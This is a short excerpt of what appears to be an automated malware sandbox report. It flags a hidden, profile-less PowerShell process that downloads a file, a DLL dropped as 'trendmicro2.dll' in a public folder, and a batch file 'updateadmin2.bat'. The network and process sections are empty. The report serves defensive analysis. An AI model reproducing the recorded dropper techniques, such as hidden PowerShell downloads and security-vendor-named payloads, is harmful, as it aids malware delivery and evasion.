Creates a suspicious Powershell process (5 events)

option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
value	Uses powershell to execute a file download from the command line
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (1 event)

file	C:\Users\Public\Videos\trendmicro2.dll

updateadmin2.bat

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All